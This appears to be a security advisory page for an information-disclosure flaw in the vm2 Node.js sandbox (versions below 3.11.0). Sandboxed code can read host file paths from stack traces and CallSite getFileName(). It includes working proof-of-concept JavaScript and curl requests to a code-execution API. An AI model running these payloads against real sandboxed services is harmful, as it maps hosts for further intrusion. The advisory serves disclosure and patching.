vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak
Summary
vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.
Details
In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:
getFileName()— returns host absolute paths like/app/node_modules/vm2/lib/vm.jsgetLineNumber(),getColumnNumber()— exact source locationsgetFunctionName(),getMethodName(),getTypeName()— internal function names
Two exploitation paths exist:
- Default
error.stack:new Error().stackincludes host frame paths in the formatted string - Custom
prepareStackTrace: Attacker can setError.prepareStackTraceto directly callgetFileName()on each CallSite, extracting a clean list of all host paths
PoC
Library-level PoC (Node.js script — primary):
const { VM } = require("vm2");
const vm = new VM();
// Path A — Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node_modules/vm2/lib/vm.js:289:18
// /app/src/server.js:49:20
// Path B — prepareStackTrace extraction
const result2 = vm.run(`
Error.prepareStackTrace = function(e, sst) {
return sst.map(function(s) { return s.getFileName(); }).join(", ");
};
new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...HTTP demonstration:
# Default error.stack
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"try { null.x; } catch(e) { e.stack }"}'
# Result includes host paths: /app/src/server.js, /app/node_modules/express/...
# prepareStackTrace extraction
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}'
# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...Impact
- Information Disclosure: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.
- Attack Chain: Leaked paths enable precise targeting for other vulnerabilities.
- Scope: All applications using vm2. No special configuration required.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.11.0 | 3.11.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N- Weakness (CWE)
CWE-209- Platform
- npm
- Package
vm2- Disclosed
- 07.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-v27g-jcqj-v8rw - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
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vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak this entry
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